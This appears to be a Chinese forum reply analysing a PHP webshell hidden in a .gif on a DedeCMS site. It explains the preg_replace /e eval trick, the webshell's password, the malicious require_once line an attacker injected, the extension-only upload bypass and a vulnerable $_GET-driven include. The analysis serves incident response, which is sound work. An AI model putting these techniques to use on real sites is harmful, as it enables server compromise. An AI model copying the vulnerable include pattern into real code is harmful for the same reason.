1.gif 的内容是典型的一句话木马,利用 preg_replace 函数中第一个参数后面的 /e,来把替换后的字符串当代码执行,str_rot13('riny')就是 eval 了,密码就是 good,利用经典的中国菜刀就可以连接上了.
http://php.net/manual/zh/function.preg-replace.phphttp://php.net/manual/zh/reference.pcre.pattern.modifiers.php2.<?php require_once (dirname(__FILE__) . "/../../templets/3vpk/images/mood/ico-mood-16.gif"); ?>
这句肯定是黑客加上去的,require 和 include 文件,会执行 gif 里面的 php 代码
http://php.net/manual/zh/function.include.php当一个文件被包含时,语法解析器在目标文件的开头脱离 PHP 模式并进入 HTML 模式,到文件结尾处恢复。由于此原因,目标文件中需要作为 PHP 代码执行的任何代码都必须被包括在有效的 PHP 起始和结束标记之中
3.这个 gif 是利用 dedecms 上传上去的,例如简单图片上传功能,把 php 文件改个扩展名成 gif,然后上传模块中只是简单的检查下扩展名,而不试着获取下图片宽高来判断是真的图片,导致上传成功
4.dedecms 代码不严谨,有任意包含文件漏洞
比如
$file = $_GET['file'];
include $file;
只需要填写 gif 被上传后的路径,即可导致 gif 文件内容被解析成 php 代码执行.
至于网站的路径有多种方法探测,例如报错信息
你现在设置规则我觉得已经来不及了,上周我就和同事配合搞了像这样的应急响应,phpcms 的任意文件包含漏洞,被上传了一大堆马,抓了好几天,在 nginx 的日志中记录 post 内容,去分析了 n 个 php 文件,才清完